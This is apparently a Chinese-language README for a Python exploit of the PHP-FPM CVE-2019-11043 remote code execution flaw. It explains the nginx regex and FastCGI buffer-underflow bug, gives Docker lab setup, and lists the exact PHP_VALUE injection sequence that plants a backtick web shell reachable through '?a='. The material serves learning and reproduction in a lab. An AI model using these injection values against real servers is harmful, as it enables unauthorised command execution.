
PHP-FPM Remote Command Execution Exploit
PHP-FPM 远程代码执行
演示视频: https://youtu.be/d6benC5FVZM
该针对常见 PHP-FPM 配置的零日漏洞是在 2019 年 Realworld CTF 比赛中发现的。正则表达式用于解析请求的 URI,但换行符 %0a 并不被匹配。这会触发 FastCGI 中的一个错误,导致查询字符串长度计算错误,并在预期缓冲区 之前 的位置写入一个空字节。通过精心选择查询字符串长度,攻击者可以利用此漏洞覆盖服务器上的内部 PHP 变量,并执行任意 shell 代码。
该漏洞的原始 Go 语言实现可以在这里找到。我参考了该实现、一篇分析文章以及原始的错误报告,作为学习资源以在 Python 中实现该漏洞。
Linux 上的 Docker 运行 sudo docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043 以实例化一个精简的 NGINX/PHP-FPM 服务器,其中包含一个空脚本 /script.php。该镜像的 Dockerfile 可在此处获取,但运行上述命令并不需要它。
Mac 上的 Docker 从 vulhub 仓库中的 /php/CVE-2019-11043 目录运行 sudo docker-compose up -d。(Compose 已包含在 Docker for Mac 中。)
使用命令 python3 exploit.py http://localhost:8080/script.php(如果使用了第二个选项则为 index.php)运行漏洞脚本。成功执行后,可通过在 URL 后附加 ?a= 及命令来访问一个 Web shell(例如,http://localhost:8080/script.php?a=uname -a)。
注意:我曾尝试为此任务创建 Ansible playbook,但遇到了一个致命的错误,记录在此处。无法在当前 Linux 内核版本(如任何 Ubuntu LTS 发行版)上使用 Ansible playbook 启动 systemd 服务。
PHP-FPM 配置文件包含一条规则,用于匹配传入的 URI 请求与 PHP 脚本,该规则通常如下所示:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
这_应该_匹配任何形如 /script.php/pathinfo 的 URI,但 . 实际上不匹配换行符 %0a。如果 URI 包含换行符,则会触发 PHP 实现中的以下错误:
1141 int ptlen = strlen(pt);
1142 int slen = len - ptlen;
1143 int pilen = env_path_info ? strlen(env_path_info) : 0;
1144 int tflag = 0;
1145 char *path_info;
1146 if (apache_was_here) {
1147 /* 回忆:PATH_INFO 将不存在 */
1148 path_info = script_path_translated + ptlen;
1149 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
1150 } else {
1151 path_info = env_path_info ? env_path_info + pilen - slen : NULL;
1152 tflag = (orig_path_info != path_info);
1153 }
问题在于 slen 正确计算为 URI 长度减去资源路径长度,但 pilen 被错误地设置为 0。这导致第 1151 行将 path_info 设置为一个 负数,从而造成缓冲区下溢。紧接着在这个错误计算之后,同一文件中有:
1159 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
1160 old = path_info[0];
1161 path_info[0] = 0;
1162 if (!orig_script_name ||
1163 strcmp(orig_script_name, env_path_info) != 0) {
1164 if (orig_script_name) {
1165 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);
1166 }
1167 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
1168 } else {
1169 SG(request_info).request_uri = orig_script_name;
1170 }
1171 path_info[0] = old;
在第 1161 行,一个空字节被写入前一步计算错误的内存位置。这可用于利用第 1165 行中的漏洞,FastCGI 在那里写入一个环境变量。通过将空字节写入控制环境变量写入操作的指针,我们可以在 HTTP 请求中向环境注入任意的 PHP 变量。
环境变量在 FastCGI 中以紧凑排列的键值字符串序列存储在内存中。存储这些字符串的缓冲区的开始和结束称为 _fcgi_data_seg。pos 成员指向下一个可写入的位置。如果缓冲区满了(pos > end),则分配一个新的缓冲区,next 成员指向旧的缓冲区。
118 typedef struct _fcgi_data_seg {
119 char *pos;
120 char *end;
121 struct _fcgi_data_seg *next;
122 char data[1];
123 } fcgi_data_seg;
FastCGI 使用一个名为 _fcgi_hash 的哈希表来访问单个环境变量。
125 typedef struct _fcgi_hash {
126 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
127 fcgi_hash_bucket *list;
128 fcgi_hash_buckets *buckets;
129 fcgi_data_seg *data;
130 } fcgi_hash;
思路是覆盖 pos 的最低有效字节,以欺骗 FastCGI 覆盖现有的变量。代码_应该_将附加到 URI 路径的字符串放入 PATH_INFO 的位置。然而,我们想覆盖 PHP_VALUE,因为该值在漏洞代码段之后会立即被检索并加载到 PHP 设置中。
正如你在 exploit.py 中看到的,此漏洞的总体思路是找到一个非常长的 URI 查询,使 FastCGI 的内存缓冲区以我们可以利用的方式对齐。关键是找到所需的确切字符数,以使 FastCGI 分配一个新的 _fcgi_data_seg 缓冲区。当这种情况发生时,FastCGI 会可预测地将我们的 PATH_INFO 写入新缓冲区,紧接着将我们的每个 HTTP 标头作为新的环境值写入。因此,下一步是找到我们需要填充任意 HTTP 标头的字符数,以便按我们的目的对齐内存。由于我们只能在一个任意位置写入一个空字节,我们需要让 pos 指向 PHP_VALUE 的一个可预测偏移量,以便编辑最低有效字节将其移动到那里。
挑战在于我们想要覆盖 PHP_VALUE,但不知道它在内存中的位置。当 FastCGI 加载此变量时,它将根据一个简单的算法对字符串 PHP_VALUE 进行哈希运算以获取实际内存地址:
31 #define FCGI_HASH_FUNC(var, var_len) \
32 (UNEXPECTED(var_len < 3) ? (unsigned int)var_len : \
33 (((unsigned int)var[3]) << 2) + \
34 (((unsigned int)var[var_len-2]) << 4) + \
35 (((unsigned int)var[var_len-1]) << 2) + \
36 var_len)
我们实际上不需要以某种方式修改哈希表,只需要创建另一个具有相同字符串长度和哈希值(根据此函数)的环境变量。这将欺骗哈希查找读取我们的 HTTP 标头,而不是目标变量。该漏洞的作者巧妙地指出,名为 EBUT 的标头在 FastCGI 环境中将被保存为 HTTP_EBUT,这满足了这个要求。
对于攻击本身,我们发送包含 EBUT 标头的 GET 请求,并利用空字节覆盖漏洞覆盖其值。我们尝试通过重复请求逐一设置 PHP 环境变量:
short_open_tag=1
html_errors=0
include_path=/tmp
auto_prepend_file=a
log_errors=1
error_reporting=2
error_log=/tmp/a
extension_dir=\"<?= `\"
extension=\"$_GET[a]`?>\"
成功修改所有这些变量后,服务器上的 ?a= 查询便可执行任意 shell 代码。攻击循环通过尝试执行 which which 来检查每次迭代的成功与否。攻击者可以通过读取 HTTP 响应中的结果(例如 /bin/which)轻松检测是否成功。